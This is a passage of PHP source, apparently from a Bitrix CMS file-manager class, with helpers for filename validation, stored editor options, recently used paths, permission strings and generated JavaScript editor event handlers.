SETTINGS['<?= $edname?>'].visualEffects = <?echo $visualEffects == "N" ? "false" : "true";?>;
window.comp2_dialog_size = {width: '<?= $arC2DS['width']?>', height: '<?= $arC2DS['height']?>'};
</script>
<?
//return $str_res;
}
public static function CheckFileName($str)
{
$io = CBXVirtualIo::GetInstance();
if (!$io->ValidateFilenameString($str))
return GetMessage("FILEMAN_NAME_ERR");
return true;
}
public static function GetPropstypes($site="")
{
$defRes = Array(
'description' => GetMessage("FILEMAN_OPTION_PROPS_DESCR"),
'keywords' => GetMessage("FILEMAN_OPTION_PROPS_KEYW")
);
$res = COption::GetOptionString('fileman', "propstypes", addslashes(serialize($defRes)), $site);
if (CheckSerializedData($res))
$res = unserialize(stripslashes($res));
else
$res = $defRes;
return $res;
}
public static function SetPropstypes($arPT = Array(), $desc = false, $site = "")
{
$str = addslashes(serialize($arPT));
if (strlen($str) > 2000)
return false;
return COption::SetOptionString('fileman', "propstypes", $str, $desc, $site);
}
public static function OnModuleUpdate($arParams)
{
if (isset($arParams['successModules']) && count($arParams['successModules']) > 0)
CFileMan::ClearComponentsListCache();
}
public static function ClearComponentsListCache($id = '')
{
$GLOBALS["CACHE_MANAGER"]->CleanDir("fileman_component_tree_array");
}
public static function SecurePathVar($str)
{
$str = preg_replace("/\.\.+[\/\\\]+/i", "", $str);
return $str;
}
public static function GetUnixFilePermissions($file)
{
$io = CBXVirtualIo::GetInstance();
$f = $io->GetFile($file);
$perms = $f->GetPermissions();
if (($perms & 0xC000) == 0xC000)
$info = 's'; // Socket
elseif (($perms & 0xA000) == 0xA000)
$info = 'l'; // Symbolic Link
elseif (($perms & 0x8000) == 0x8000)
$info = '-'; // Regular
elseif (($perms & 0x6000) == 0x6000)
$info = 'b'; // Block special
elseif (($perms & 0x4000) == 0x4000)
$info = 'd'; // Directory
elseif (($perms & 0x2000) == 0x2000)
$info = 'c'; // Character special
elseif (($perms & 0x1000) == 0x1000)
$info = 'p'; // FIFO pipe
else
$info = 'u'; // Unknown
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
return array(sprintf("%o", $perms & 0xfff), $info);
}
public static function IsWindows()
{
return PATH_SEPARATOR === ';';
}
public static function SaveLastPath($path)
{
$path = CFileMan::NormalizePath($path);
if ($path == "" || $path == "/")
return;
$arPathes = CFileMan::GetLastPathes();
$key = array_search($path, $arPathes);
if ($key !== false)
unset($arPathes[$key]);
$arPathes = array_merge(array($path), $arPathes);
CFileMan::SetLastPathes($arPathes);
}
public static function GetLastPathes()
{
$arPathes = CUserOptions::GetOption("fileman", "last_pathes", false);
$arPathes = ($arPathes === false || !CheckSerializedData($arPathes)) ? CFileMan::GetLastPathesDefault() : unserialize($arPathes);
$arPathes = array_slice($arPathes, 0, 10);
return $arPathes;
}
public static function SetLastPathes($arPathes = array())
{
if (count($arPathes) == 0)
$arPathes = CFileMan::GetLastPathesDefault();
$arPathes = array_slice($arPathes, 0, 10);
CUserOptions::SetOption("fileman", "last_pathes", serialize($arPathes));
}
public static function GetLastPathesDefault()
{
return array("/bitrix");
}
public static function GetEditorToolbarConfig($editorType)
{
$res = COption::GetOptionString('fileman', "toolbar_config_".$editorType, false);
if ($res && CheckSerializedData($res))
{
$arConfig = unserialize($res);
if (is_array($arConfig))
return $arConfig;
}
return false;
}
}
function is_array_assoc($arr)
{
$i = 0;
foreach($arr as $k=>$val)
{
if("".$k!="".$i)
return true;
$i++;
}
return false;
}
function setEditorEventHandlers($name)
{
?>
<script>
function onContextMenu_<?= $name;?>(e){GLOBAL_pMainObj['<?= $name;?>'].OnContextMenu(e);}
function onClick_<?= $name;?>(e){GLOBAL_pMainObj['<?= $name;?>'].OnClick(e);}
function onDblClick_<?= $name;?>(e){GLOBAL_pMainObj['<?= $name;?>'].OnDblClick(e);}
function onMouseUp_<?= $name;?>(e){GLOBAL_pMainObj['<?= $name;?>'].OnMouseUp(e);}
function onDragDrop_<?= $name;?>(e){GLOBAL_pMainObj['<?= $name;?>'].OnDragDrop(e);}
function onKeyPress_<?= $name;?>(e){GLOBAL_pMainObj['<?= $name;?>'].OnKeyPress(e);}
function onKeyDown_<?= $name;?>(e){GLOBAL_pMainObj['<?= $name;?>'].OnKeyDown(e);}
function onPaste_<?= $name;?>(e){GLOBAL_pMainObj['<?= $name;?>'].OnPaste(e);}
function OnSubmit_<?= $name;?>(e){GLOBAL_pMainObj['<?= $name;?>'].onSubmit(e);}
function OnDispatcherEvent_pDocument_<?= $name;?>(e){pBXEventDispatcher.OnEvent(GLOBAL_pMainObj['<?= $name;?>'].pDocument, e);}
function OnDispatcherEvent_pEditorDocument_<?= $name;?>(e){pBXEventDispatcher.OnEvent(GLOBAL_pMainObj['<?= $name;?>'].pEditorDocument, e);}
</script>
<?
}
function _replace_br_($str)
{
return $str;
$pos2 = strpos(strtolower($str), "\n");
if ($pos2!==FALSE)
{
$str = str_replace("\r"," ",$str);
$str = str_replace("\n"," ",$str);
$str = str_replace("\\r"," ",$str);
$str = str_replace("\\n"," ",$str);
}
return $str;
}